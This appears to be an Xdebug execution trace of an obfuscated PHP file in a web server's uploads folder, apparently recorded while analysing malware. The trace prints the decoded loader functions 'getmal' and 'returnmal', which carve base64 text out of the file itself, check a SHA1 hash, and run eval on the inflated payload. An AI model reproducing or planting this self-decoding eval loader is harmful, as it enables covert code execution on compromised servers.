Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:31:53.816525]
1	0	1	0.000225	393512
1	3	0	0.000310	396184	{main}	1		/var/www/html/uploads/RBBD.php	0	0
2	4	0	0.000329	396184	file	0		/var/www/html/uploads/RBBD.php	3	1	'/var/www/html/uploads/RBBD.php'
2	4	1	0.000379	425448
2	4	R			[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']
1		A						/var/www/html/uploads/RBBD.php	3	$_getf = [0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']
2	5	0	0.000485	425408	base64_decode	0		/var/www/html/uploads/RBBD.php	3	1	'ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYSwgODYzLCAyOTYpOwogICAgICAgIH0gZWxzZWlmICgk'
2	5	1	0.000516	426208
2	5	R			'function getmal($_g, $_b = 0)\n    {\t\n    \t$_array_length = count($_g);\n    \t$_taking_array = $_array_length - 1;\n    \twhile(1==1) {\n    \t\tif(empty(trim($_g[$_taking_array]))) {\n    \t\t\t$_taking_array = $_taking_array - 1;\n    \t\t} else {\n    \t\t\tbreak;\n    \t\t}\n    \t}\n        $_a = $_g[$_taking_array];\n        if ($_b == 0) {\n            $_f = substr($_a, 863, 296);\n        } elseif ($_b == 1) {\n            $_f = substr($_a, 1159, 40);\n        } else {\n            $_f = trim(su'
2	6	0	0.000593	430568	eval	1	'function getmal($_g, $_b = 0)\n    {\t\n    \t$_array_length = count($_g);\n    \t$_taking_array = $_array_length - 1;\n    \twhile(1==1) {\n    \t\tif(empty(trim($_g[$_taking_array]))) {\n    \t\t\t$_taking_array = $_taking_array - 1;\n    \t\t} else {\n    \t\t\tbreak;\n    \t\t}\n    \t}\n        $_a = $_g[$_taking_array];\n        if ($_b == 0) {\n            $_f = substr($_a, 863, 296);\n        } elseif ($_b == 1) {\n            $_f = substr($_a, 1159, 40);\n        } else {\n            $_f = trim(substr($_a, 1199));\n        }\n        return ($_f);\n    }'	/var/www/html/uploads/RBBD.php	3	0
2	6	1	0.000622	430568
2	7	0	0.000631	430216	getmal	1		/var/www/html/uploads/RBBD.php	3	2	[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']	???
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	$_array_length = 3
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	$_taking_array = 2
3	8	0	0.000705	430216	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	6	1	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	8	1	0.000749	430248
3	8	R			'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	12	$_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	9	0	0.000841	430216	substr	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	14	3	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'	863	296
3	9	1	0.000887	430696
3	9	R			'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	14	$_f = 'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
2	7	1	0.000943	430600
2	7	R			'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
2	10	0	0.000969	430600	base64_decode	0		/var/www/html/uploads/RBBD.php	3	1	'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
2	10	1	0.000991	431016
2	10	R			'function returnmal($_code, $_sha1)\n    {\n        if (sha1($_code) == $_sha1) {\n            return eval("?>" . (gzinflate(base64_decode($_code))));\n        } else {\n            echo ("Error: File Modified");\n        }\n    }'
2	11	0	0.001036	431672	eval	1	'function returnmal($_code, $_sha1)\n    {\n        if (sha1($_code) == $_sha1) {\n            return eval("?>" . (gzinflate(base64_decode($_code))));\n        } else {\n            echo ("Error: File Modified");\n        }\n    }'	/var/www/html/uploads/RBBD.php	3	0
2	11	1	0.001059	431672
2	12	0	0.001067	431320	getmal	1		/var/www/html/uploads/RBBD.php	3	2	[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']	2
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	$_array_length = 3
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	$_taking_array = 2
3	13	0	0.001137	431320	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	6	1	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	13	1	0.001181	431352
3	13	R			'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	12	$_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	14	0	0.001270	431320	substr	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	18	2	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'	1199
3	14	1	0.001315	460056
3	14	R			'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	15	0	0.001359	459992	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	18	1	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	15	1	0.001404	460024
3	15	R			'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	18	$_f = '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
2	12	1	0.001487	459992
2	12	R			'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
2	16	0	0.001530	459992	getmal	1		/var/www/html/uploads/RBBD.php	3	2	[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']	1
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	$_array_length = 3
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	$_taking_array = 2
3	17	0	0.001599	459992	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	6	1	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	17	1	0.001643	460024
3	17	R			'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	12	$_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	18	0	0.001732	459992	substr	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	16	3	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'	1159	40
3	18	1	0.001775	460168
3	18	R			'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	16	$_f = '76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
2	16	1	0.001804	460072
2	16	R			'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
2	19	0	0.001820	460072	returnmal	1		/var/www/html/uploads/RBBD.php	3	2	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'	'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
